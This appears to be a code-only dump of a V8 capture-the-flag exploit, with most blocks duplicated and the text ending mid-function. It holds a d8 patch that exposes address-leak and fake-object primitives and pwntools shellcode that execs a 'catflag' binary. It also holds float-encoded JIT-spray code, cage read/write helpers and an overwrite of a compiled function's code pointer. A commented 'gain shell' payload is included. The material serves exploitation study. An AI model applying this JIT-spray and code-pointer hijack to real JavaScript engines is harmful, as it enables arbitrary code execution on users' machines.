for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
p(shellcode);
 
var shellcode_addr = GetAddressOf(shellcode);
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c'
shell_hi = 0x0067616c
shell_lo = 0x66746163
def make_double(code):
    assert len(code) <= 6
    print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])
 
make_double(asm("mov eax,%d" % (0x0067616c)))
make_double(asm("mov ebx,%d" % (0x66746163)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax,rbx;push rax"))
make_double(asm("mov rdi, rsp;xor esi, esi;"))
code = asm("xor edx, edx;push 0x3b; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c'
shell_hi = 0x0067616c
shell_lo = 0x66746163
def make_double(code):
    assert len(code) <= 6
    print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])
 
make_double(asm("mov eax,%d" % (0x0067616c)))
make_double(asm("mov ebx,%d" % (0x66746163)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax,rbx;push rax"))
make_double(asm("mov rdi, rsp;xor esi, esi;"))
code = asm("xor edx, edx;push 0x3b; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])
➜  release git:(5a2307d0f2c) ✗ python3 rop.py
ceb900067616cb8
ceb9066746163bb
ceb909020e0c148
ceb909050d80148
ceb90f631e78948
90050f583b6ad231
➜  release git:(5a2307d0f2c) ✗ python3 rop.py
ceb900067616cb8
ceb9066746163bb
ceb909020e0c148
ceb909050d80148
ceb90f631e78948
90050f583b6ad231
function convertShellcode() {
    const shellcodeInts = [
        0xceb900067616cb8n,
        0xceb9066746163bbn,
        0xceb909020e0c148n,
        0xceb909050d80148n,
        0xceb90f631e78948n,
        0x90050f583b6ad231n
    ];
     
    const shellcodeFloats = [];
    const buffer = new ArrayBuffer(8);
    const view = new DataView(buffer);
     
    for (const int of shellcodeInts) {
        view.setBigUint64(0, int, true);
        const float = view.getFloat64(0, true);
        shellcodeFloats.push(float);
    }
    return shellcodeFloats;
}
 
const shellcode = convertShellcode();
console.log("const shellcode = () => {return [");
shellcode.forEach((num, index) => {
    console.log(`    ${num}${index < shellcode.length - 1 ? ',' : ''}`);
});
console.log("];}");
function convertShellcode() {
    const shellcodeInts = [
        0xceb900067616cb8n,
        0xceb9066746163bbn,
        0xceb909020e0c148n,
        0xceb909050d80148n,
        0xceb90f631e78948n,
        0x90050f583b6ad231n
    ];
     
    const shellcodeFloats = [];
    const buffer = new ArrayBuffer(8);
    const view = new DataView(buffer);
     
    for (const int of shellcodeInts) {
        view.setBigUint64(0, int, true);
        const float = view.getFloat64(0, true);
        shellcodeFloats.push(float);
    }
    return shellcodeFloats;
}
 
const shellcode = convertShellcode();
console.log("const shellcode = () => {return [");
shellcode.forEach((num, index) => {
    console.log(`    ${num}${index < shellcode.length - 1 ? ',' : ''}`);
});
console.log("];}");
➜  release git:(5a2307d0f2c) ✗ node convert.js
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
➜  release git:(5a2307d0f2c) ✗ node convert.js
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// readflag
const shellcode =()=> {return [1.9995716422075807e-246,
1.9710255944286777E-246,
1.97118242283721E-246,
1.971136949489835E-246,
1.9711826272869888E-246,
1.9711829003383248E-246,
    -9.254983612527998e+61];}
 
for(let i = 0; i< 20000; i++){
    shellcode();shellcode();
    shellcode();shellcode();
}
 
// p(shellcode);
 
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base_lo",ins_base_lo);
logg("ins_base_hi",ins_base_hi);
logg("rop_addr",rop_addr);
logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);
 
// ins_base_lo+0x69+2
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
// x
 
// stop();
shellcode();
// shellcode();
// spin();
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// readflag
const shellcode =()=> {return [1.9995716422075807e-246,
1.9710255944286777E-246,
1.97118242283721E-246,
1.971136949489835E-246,
1.9711826272869888E-246,
1.9711829003383248E-246,
    -9.254983612527998e+61];}
 
for(let i = 0; i< 20000; i++){
    shellcode();shellcode();
    shellcode();shellcode();
}
 
// p(shellcode);
 
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base_lo",ins_base_lo);
logg("ins_base_hi",ins_base_hi);
logg("rop_addr",rop_addr);
logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);
 
// ins_base_lo+0x69+2
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
// x
 
// stop();
shellcode();
// shellcode();
// spin();
// gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    1.9711828988945186e-246,
    1.9710306750501128e-246,
    -6.910973738673629e-229
];}
 
 
for(let i = 0; i< 20000; i++){
    shellcode();shellcode();
    shellcode();shellcode();
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
 
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
shellcode();
// gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    1.9711828988945186e-246,
    1.9710306750501128e-246,
    -6.910973738673629e-229
];}
 
 
for(let i = 0; i< 20000; i++){
    shellcode();shellcode();
    shellcode();shellcode();
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
 
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
shellcode();
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base_lo",ins_base_lo);
logg("ins_base_hi",ins_base_hi);
logg("rop_addr",rop_addr);
logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);
 
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
shellcode();
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base_lo",ins_base_lo);
logg("ins_base_hi",ins_base_hi);
logg("rop_addr",rop_addr);
logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);
 
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
shellcode();
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release
➜  release git:(5a2307d0f2c) ✗ cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
➜  release git:(5a2307d0f2c) ✗ cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
autoninja -C out/release d8
autoninja -C out/release d8
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate *isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+
+  Local<v8::Uint32> arg;
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+    isolate->ThrowError("Argument must be a number");
+    return;
+  }
+  uint32_t addr = arg->Value();
+
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate *isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+
+  Local<v8::Uint32> arg;
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+    isolate->ThrowError("Argument must be a number");
+    return;
+  }
+  uint32_t addr = arg->Value();
+
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..0299ed26802 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
  
 }  // namespace
  
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate *isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+
+  Local<v8::Uint32> arg;
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+    isolate->ThrowError("Argument must be a number");
+    return;
+  }
+  uint32_t addr = arg->Value();
+
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "GetFakeObject",
+                       FunctionTemplate::New(isolate, GetFakeObject));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..fbb091afbaf 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
   };
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
  
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<String> name,
                             ReportExceptions report_exceptions,
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..0299ed26802 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
  
 }  // namespace
  
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate *isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+
+  Local<v8::Uint32> arg;
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+    isolate->ThrowError("Argument must be a number");
+    return;
+  }
+  uint32_t addr = arg->Value();
+
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "GetFakeObject",
+                       FunctionTemplate::New(isolate, GetFakeObject));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..fbb091afbaf 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
   };
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
  
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<String> name,
                             ReportExceptions report_exceptions,
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
var fake_array = [
    lh_u32_to_f64(fake_map_addr+1,0),
    lh_u32_to_f64(rw_array_element_addr+1,0x100)
]
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
var fake_array = [
    lh_u32_to_f64(fake_map_addr+1,0),
    lh_u32_to_f64(rw_array_element_addr+1,0x100)
]
function cage_read(addr){
    fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100);
    return Number(f64_to_u64(fake_obj[0]));
}
 
function cage_write(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8+1,0x100);
    fake_obj[0] = u64_to_f64(val);
}
function cage_read(addr){
    fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100);
    return Number(f64_to_u64(fake_obj[0]));
}
 
function cage_write(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8+1,0x100);
    fake_obj[0] = u64_to_f64(val);
}
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = cage_read(shellcode_addr+0xc) >> 32;
var ins_base = cage_read(code_addr-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6b);
 
cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))
 
 
// stop();
shellcode();
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = cage_read(shellcode_addr+0xc) >> 32;
var ins_base = cage_read(code_addr-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6b);
 
cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))
 
 
// stop();
shellcode();
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
// p(shellcode);
 
var rw_array = [1.1,2.2,3.3,4.4];
var fake_map = [u64_to_f64(0x3600000a001c0261n), u64_to_f64(0x0a0007ff11000844n)];
var fake_map_addr = GetAddressOf(fake_map) + 0x24 + 0x30;
var rw_array_element_addr = GetAddressOf(rw_array)-0x28;
//
 
var fake_array = [
    lh_u32_to_f64(fake_map_addr+1,0),
    lh_u32_to_f64(rw_array_element_addr+1,0x100)
]
 
var fake_array_addr = GetAddressOf(fake_array)+0x24+0x30;
var fake_obj = GetFakeObject(fake_array_addr);
 
// p(rw_array);
// p(fake_array);
// p(fake_map);
// logg("fake_map_addr",fake_map_addr);
// logg("rw_array_element_addr",rw_array_element_addr);
// logg("fake_array_addr",fake_array_addr);
 
// console.log(typeof fake_obj);
 
function cage_read(addr){
    fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100);
    return Number(f64_to_u64(fake_obj[0]));
}
 
function cage_write(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8+1,0x100);
    fake_obj[0] = u64_to_f64(val);
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = cage_read(shellcode_addr+0xc) >> 32;
var ins_base = cage_read(code_addr-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6b);
 
cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))
 
 
// stop();
shellcode();
 
// spin();
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
// p(shellcode);
 
var rw_array = [1.1,2.2,3.3,4.4];
var fake_map = [u64_to_f64(0x3600000a001c0261n), u64_to_f64(0x0a0007ff11000844n)];
var fake_map_addr = GetAddressOf(fake_map) + 0x24 + 0x30;
var rw_array_element_addr = GetAddressOf(rw_array)-0x28;
//
 
var fake_array = [
    lh_u32_to_f64(fake_map_addr+1,0),
    lh_u32_to_f64(rw_array_element_addr+1,0x100)
]
 
var fake_array_addr = GetAddressOf(fake_array)+0x24+0x30;
var fake_obj = GetFakeObject(fake_array_addr);
 
// p(rw_array);
// p(fake_array);
// p(fake_map);
// logg("fake_map_addr",fake_map_addr);
// logg("rw_array_element_addr",rw_array_element_addr);
// logg("fake_array_addr",fake_array_addr);
 
// console.log(typeof fake_obj);
 
function cage_read(addr){
